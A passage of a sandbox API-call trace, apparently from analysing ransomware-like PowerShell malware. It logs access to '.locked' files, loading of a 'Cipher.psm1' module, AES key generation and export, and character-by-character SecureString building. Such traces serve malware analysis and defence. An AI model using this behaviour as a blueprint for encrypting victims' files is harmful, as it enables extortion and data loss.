Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.477] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.479] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0125.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6b5c4f4 | out: lpFileInformation=0x6b5c4f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde773b3, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xde773b3, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xdee7c76, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x14cd4)) returned 1 [0125.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0125.492] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", lpFilePart=0x0) returned 0x5e [0125.492] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0125.492] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0125.492] CloseHandle (hObject=0x874) returned 1 [0125.494] GetConsoleOutputCP () returned 0x1b5 [0125.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.503] GetConsoleOutputCP () returned 0x1b5 [0125.520] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.520] GetConsoleOutputCP () returned 0x1b5 [0125.761] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.761] GetConsoleOutputCP () returned 0x1b5 [0125.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.775] GetConsoleOutputCP () returned 0x1b5 [0125.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.777] GetConsoleOutputCP () returned 0x1b5 [0125.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.796] GetConsoleOutputCP () returned 0x1b5 [0125.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.807] GetConsoleOutputCP () returned 0x1b5 [0125.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.815] GetConsoleOutputCP () returned 0x1b5 [0125.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.817] GetConsoleOutputCP () returned 0x1b5 [0125.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.831] GetConsoleOutputCP () returned 0x1b5 [0125.836] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.836] GetConsoleOutputCP () returned 0x1b5 [0125.847] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.847] GetConsoleOutputCP () returned 0x1b5 [0125.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.861] GetConsoleOutputCP () returned 0x1b5 [0125.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.870] GetConsoleOutputCP () returned 0x1b5 [0125.874] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.874] GetConsoleOutputCP () returned 0x1b5 [0125.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.883] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0125.885] GetConsoleOutputCP () returned 0x1b5 [0125.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0125.945] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.945] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b83730*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6b83730*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0125.946] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.947] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0125.948] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.948] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.948] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\x5e24\x6ae\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\x5e24\x6ae\x500") returned 0x0 [0125.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.948] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.948] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.948] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.951] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0125.951] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.952] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.953] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e02828) returned 1 [0125.953] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e850f8) returned 1 [0125.953] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.953] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.953] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6b8d304, pdwDataLen=0x99ae788 | out: pbData=0x6b8d304*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="\x7dab\xde99\x8ea1\x4765\x28c0\x5eba\xa497\x30d\xbfe3\x288f\x99b8\xeea0\xcfa8\x14fe\xe10\xc9f3\xc526\xb5d9\xdd03\xe5a\x7ea1\x6e89\xb67e\x67eb\xd3bd\x6b09\xa265\x6d00\xb4e7\xeca7\x1194\x9404\x9156\x288e\xe484\x99a\x86d0\x42c\xe488\x99a\x87a8\x42c\xe388\x99a\x65bc\x7477\xe3a8\x99a\x08") returned 0x0 [0125.954] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.954] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.954] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.954] SysStringLen (param_1="") returned 0x8 [0125.954] SysStringLen (param_1="V") returned 0x8 [0125.954] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.954] SysStringLen (param_1="\xd31c\x6696\x1ed2\x9125\xd333\x85bb\x1a2f\xd18") returned 0x8 [0125.954] SysStringLen (param_1="\xd31c\x6696\x1ed2\x9125\xd333\x85bb\x1a2f\xd18") returned 0x8 [0125.954] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.954] SysStringLen (param_1="Vg") returned 0x8 [0125.954] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.954] SysStringLen (param_1="┒䨐诉粥͎랻쨃═") returned 0x8 [0125.954] SysStringLen (param_1="┒䨐诉粥͎랻쨃═") returned 0x8 [0125.954] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="VgW") returned 0x8 [0125.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="\xe789\xbc10\xd5fd\x7b5c\x3eb1\x5cf9\x8d33\x1e8") returned 0x8 [0125.955] SysStringLen (param_1="\xe789\xbc10\xd5fd\x7b5c\x3eb1\x5cf9\x8d33\x1e8") returned 0x8 [0125.955] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="VgW2") returned 0x8 [0125.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="\xb7b\x3cfb\x32e9\xad97\xee8c\xded\x48ab\x8f38") returned 0x8 [0125.955] SysStringLen (param_1="\xb7b\x3cfb\x32e9\xad97\xee8c\xded\x48ab\x8f38") returned 0x8 [0125.955] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="VgW29") returned 0x8 [0125.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="\xf110\x83af\xc0b\x2ba6\xc8d8\x7691\x481e\x285f") returned 0x8 [0125.955] SysStringLen (param_1="\xf110\x83af\xc0b\x2ba6\xc8d8\x7691\x481e\x285f") returned 0x8 [0125.955] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="VgW29e") returned 0x8 [0125.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="\xb202\xa4d5\x8cba\xbc1b\x3f9f\xaa52\x9236\x34e1") returned 0x8 [0125.955] SysStringLen (param_1="\xb202\xa4d5\x8cba\xbc1b\x3f9f\xaa52\x9236\x34e1") returned 0x8 [0125.955] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.955] SysStringLen (param_1="VgW29eR") returned 0x8 [0125.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.956] SysStringLen (param_1="\xf572\xdf51\x69e1\xe532\x6355\x5ade\xf36\xd9b8") returned 0x8 [0125.956] SysStringLen (param_1="\xf572\xdf51\x69e1\xe532\x6355\x5ade\xf36\xd9b8") returned 0x8 [0125.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.956] SysStringLen (param_1="VgW29eR3") returned 0x8 [0125.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84") returned 0x8 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84") returned 0x8 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84") returned 0x8 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84") returned 0x10 [0125.956] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.956] SysStringLen (param_1="VgW29eR3h滋庌㊶䅟員๗") returned 0x10 [0125.956] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x6847\x8a68\xbca1\x94bb\xe413\x2847\xa805\x3c32") returned 0x10 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x6847\x8a68\xbca1\x94bb\xe413\x2847\xa805\x3c32") returned 0x10 [0125.956] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.956] SysStringLen (param_1="VgW29eR3h3庌㊶䅟員๗") returned 0x10 [0125.956] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x5d42\x4892\xa5d0\x82c7\x2afe\x165f\x7436\xc934") returned 0x10 [0125.956] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x5d42\x4892\xa5d0\x82c7\x2afe\x165f\x7436\xc934") returned 0x10 [0125.956] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="VgW29eR3h3f庌㊶䅟員๗") returned 0x10 [0125.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xf78\x238e\xfe88\x753a\x7a83\x5d49\xf8bb\x8dab") returned 0x10 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xf78\x238e\xfe88\x753a\x7a83\x5d49\xf8bb\x8dab") returned 0x10 [0125.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="VgW29eR3h3f3㊶䅟員๗") returned 0x10 [0125.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xc038\xa9cc\x9f17\x186e\xcfee\xbcee\x19e3\x49e0") returned 0x10 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xc038\xa9cc\x9f17\x186e\xcfee\xbcee\x19e3\x49e0") returned 0x10 [0125.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="VgW29eR3h3f3c䅟員๗") returned 0x10 [0125.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x9ae6\xd6c3\x7b0b\xbdde\x423\xdbbc\xf1f2\x2df3") returned 0x10 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x9ae6\xd6c3\x7b0b\xbdde\x423\xdbbc\xf1f2\x2df3") returned 0x10 [0125.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="VgW29eR3h3f3cR員๗") returned 0x10 [0125.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xaf67\x220b\xeac0\x41d9\x50d2\x9016\x7941\x436b") returned 0x10 [0125.957] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xaf67\x220b\xeac0\x41d9\x50d2\x9016\x7941\x436b") returned 0x10 [0125.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.957] SysStringLen (param_1="VgW29eR3h3f3cRC๗") returned 0x10 [0125.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xbdab\xa7da\xc44\x4b4b\xf868\x4ef4\x2a24\x4e0c") returned 0x10 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\xbdab\xa7da\xc44\x4b4b\xf868\x4ef4\x2a24\x4e0c") returned 0x10 [0125.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.958] SysStringLen (param_1="VgW29eR3h3f3cRCy") returned 0x10 [0125.958] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab") returned 0x10 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab") returned 0x10 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab") returned 0x10 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab") returned 0x18 [0125.958] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.958] SysStringLen (param_1="VgW29eR3h3f3cRCyA䫁昳ວ꺕ﵸ") returned 0x18 [0125.958] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.958] SysStringLen 